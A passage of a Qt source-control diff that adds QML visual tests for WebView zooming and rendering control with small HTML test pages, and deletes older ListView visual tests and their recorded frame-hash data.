+ Frame { + msec: 3456 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3472 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3488 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3504 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3520 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3536 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3552 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3568 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3584 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3600 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3616 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3632 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3648 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3664 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3680 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3696 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3712 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3728 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3744 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3760 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3776 + hash: "c98df558c41f1837398eead42392b780" + } + Frame { + msec: 3792 + hash: "c98df558c41f1837398eead42392b780" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml b/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml new file mode 100644 index 0000000..4a876dd --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/pageWidth.qml @@ -0,0 +1,10 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + width: 200 + height: 250 + url: "resolution.html" + webPageWidth: 400 + preferredWidth: 200 +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png b/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png new file mode 100644 index 0000000..399bd0b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/qtlogo.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html new file mode 100644 index 0000000..1a01a33 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.html @@ -0,0 +1,7 @@ + + +

Render Control

+

+This test shows how zooming and panning can be +optimized for speed over quality by delaying rendering. + diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml new file mode 100644 index 0000000..52a569e --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/renderControl.qml @@ -0,0 +1,21 @@ +import Qt 4.6 +import org.webkit 1.0 + +Rectangle { + width: 200 + height: 250 + clip: true + WebView { + id: webview + width: 400 + url: "renderControl.html" + SequentialAnimation on x { + loops: Animation.Infinite + NumberAnimation { from: 100; to: 0; duration: 200 } + PropertyAction { target: webview; property: "renderingEnabled"; value: false } + NumberAnimation { from: 0; to: -100; duration: 200 } + PropertyAction { target: webview; property: "renderingEnabled"; value: true } + NumberAnimation { from: -100; to: 100; duration: 400 } + } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html new file mode 100644 index 0000000..75b1e3f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.html @@ -0,0 +1,6 @@ + + +

Resolution

+

+This test shows how zooming can include different resolutions. + diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml new file mode 100644 index 0000000..d6c35d4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/resolution.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + width: 200 * zoomFactor + height: 250 * zoomFactor + scale: 1/zoomFactor + url: "resolution.html" + SequentialAnimation on zoomFactor { + loops: Animation.Infinite + NumberAnimation { from: 1; to: 0.25; duration: 2000 } + NumberAnimation { from: 0.25; to: 1; duration: 2000 } + NumberAnimation { from: 1; to: 5; duration: 2000 } + NumberAnimation { from: 5; to: 1; duration: 2000 } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html new file mode 100644 index 0000000..4997712 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.html @@ -0,0 +1,7 @@ + + +

Zoom Text Only

+

+This test shows how zooming can be done just +on text, not images. + diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml new file mode 100644 index 0000000..741450f --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/zoomTextOnly.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import org.webkit 1.0 + +WebView { + width: 200 + height: 250 + url: "zoomTextOnly.html" + settings.zoomTextOnly: true + SequentialAnimation on zoomFactor { + loops: Animation.Infinite + NumberAnimation { from: 2; to: 0.25; duration: 1000 } + NumberAnimation { from: 0.25; to: 2; duration: 1000 } + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html new file mode 100644 index 0000000..4e91035 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.html @@ -0,0 +1,6 @@ + + +

Zooming

+

+This test shows how zooming can be to HTML elements.

+ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml new file mode 100644 index 0000000..adbd7a5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/zooming.qml @@ -0,0 +1,18 @@ +import Qt 4.6 +import org.webkit 1.0 + +// Note that zooming is better done using zoomFactor and careful +// control of rendering to avoid excessive re-rendering during +// zoom animations. This test is written for simplicity. +WebView { + width: 200 + height: 250 + Behavior on x { NumberAnimation { } } + Behavior on y { NumberAnimation { } } + Behavior on scale { NumberAnimation { } } + url: "zooming.html" + preferredWidth: width + preferredHeight: height + onDoubleClick: {console.log(clickX,clickY);heuristicZoom(clickX,clickY,2)} + onZoomTo: {console.log(zoom);scale=zoom;x=width/2-centerX;y=height/2-centerY} +} diff --git a/tests/auto/declarative/visual/ListView/basic1.qml b/tests/auto/declarative/visual/ListView/basic1.qml deleted file mode 100644 index 3c371a6..0000000 --- a/tests/auto/declarative/visual/ListView/basic1.qml +++ /dev/null @@ -1,27 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 200 - height: 300 - id: page - ListView { - anchors.fill: parent - delegate: Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - model: ListModel { - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - } -} diff --git a/tests/auto/declarative/visual/ListView/basic2.qml b/tests/auto/declarative/visual/ListView/basic2.qml deleted file mode 100644 index bdba65e..0000000 --- a/tests/auto/declarative/visual/ListView/basic2.qml +++ /dev/null @@ -1,31 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 200 - height: 300 - id: page - Component { - id: delegate - Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } - ListView { - anchors.fill: parent - delegate: delegate - model: ListModel { - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - } -} diff --git a/tests/auto/declarative/visual/ListView/basic3.qml b/tests/auto/declarative/visual/ListView/basic3.qml deleted file mode 100644 index 2d68c0a..0000000 --- a/tests/auto/declarative/visual/ListView/basic3.qml +++ /dev/null @@ -1,29 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 200 - height: 300 - id: page - ListModel { - id: model - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - ListView { - anchors.fill: parent - model: model - delegate: Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } -} diff --git a/tests/auto/declarative/visual/ListView/basic4.qml b/tests/auto/declarative/visual/ListView/basic4.qml deleted file mode 100644 index 7c68df1..0000000 --- a/tests/auto/declarative/visual/ListView/basic4.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 - -Rectangle { - color: "blue" - width: 200 - height: 300 - id: page - ListModel { - id: model - ListElement { - name: "January" - } - ListElement { - name: "February" - } - } - Component { - id: delegate - Rectangle { - color: "red" - width: 100 - height: 100 - Text { - text: name - } - } - } - ListView { - anchors.fill: parent - model: model - delegate: delegate - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/basic1.qml b/tests/auto/declarative/visual/ListView/data-MAC/basic1.qml deleted file mode 100644 index 83b700d..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/basic1.qml +++ /dev/null @@ -1,159 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 32 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 48 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 64 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 80 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 96 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 112 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 128 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 144 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 160 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 176 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 192 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 208 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 224 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 240 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 256 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 272 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 288 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 304 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 320 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 336 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 352 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 368 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 384 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 400 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 416 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 432 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 448 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 464 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 480 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 496 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 512 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 528 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 560 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 576 - hash: "895c70434a24da42144e60e6d8dcf323" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/basic2.qml b/tests/auto/declarative/visual/ListView/data-MAC/basic2.qml deleted file mode 100644 index 1483512..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/basic2.qml +++ /dev/null @@ -1,187 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 32 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 48 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 64 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 80 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 96 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 112 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 128 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 144 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 160 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 176 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 192 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 208 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 224 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 240 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 256 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 272 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 288 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 304 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 320 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 336 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 352 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 368 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 384 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 400 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 416 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 432 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 448 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 464 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 480 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 496 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 512 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 528 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 544 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 560 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 576 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 592 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 608 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 624 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 640 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 656 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 672 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 688 - hash: "895c70434a24da42144e60e6d8dcf323" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/basic3.qml b/tests/auto/declarative/visual/ListView/data-MAC/basic3.qml deleted file mode 100644 index bf68998..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/basic3.qml +++ /dev/null @@ -1,147 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 32 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 48 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 64 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 80 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 96 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 112 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 128 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 144 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 160 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 176 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 192 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 208 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 224 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 240 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 256 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 272 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 288 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 304 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 320 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 336 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 352 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 368 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 384 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 400 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 416 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 432 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 448 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 464 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 480 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 496 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 512 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 528 - hash: "895c70434a24da42144e60e6d8dcf323" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/basic4.qml b/tests/auto/declarative/visual/ListView/data-MAC/basic4.qml deleted file mode 100644 index 4aa9ab6..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/basic4.qml +++ /dev/null @@ -1,171 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 32 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 48 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 64 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 80 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 96 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 112 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 128 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 144 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 160 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 176 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 192 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 208 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 224 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 240 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 256 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 272 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 288 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 304 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 320 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 336 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 352 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 368 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 384 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 400 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 416 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 432 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 448 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 464 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 480 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 496 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 512 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 528 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 560 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 576 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 592 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 608 - hash: "895c70434a24da42144e60e6d8dcf323" - } - Frame { - msec: 624 - hash: "895c70434a24da42144e60e6d8dcf323" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.0.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.0.png deleted file mode 100644 index 13b280c..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.1.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.1.png deleted file mode 100644 index 402872b..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.2.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.2.png deleted file mode 100644 index afd0830..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.3.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.3.png deleted file mode 100644 index 7c15f61..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.4.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.4.png deleted file mode 100644 index afd0830..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.5.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.5.png deleted file mode 100644 index fddf1cb..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.6.png b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.6.png deleted file mode 100644 index 13b280c..0000000 Binary files a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.qml b/tests/auto/declarative/visual/ListView/data-MAC/itemlist.qml deleted file mode 100644 index 073749f..0000000 --- a/tests/auto/declarative/visual/ListView/data-MAC/itemlist.qml +++ /dev/null @@ -1,2203 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 32 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 48 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 64 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 80 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 96 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 112 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 128 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 144 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 160 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 176 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 192 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 208 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 224 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 240 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 256 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 272 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 288 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 304 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 320 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 336 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 352 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 368 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 384 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 400 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 416 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 432 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 448 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 464 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 480 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 496 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 512 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 528 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 544 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 560 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 576 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 592 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 608 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 624 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 640 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 656 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 672 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 688 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 704 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 720 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 736 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 752 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 768 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 784 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 800 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 816 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 832 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 848 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 864 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 880 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 896 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 912 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 928 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 944 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame { - msec: 960 - image: "itemlist.0.png" - } - Frame { - msec: 976 - hash: "bf47cc398a702dd17c8efebb3d2f8073" - } - Frame 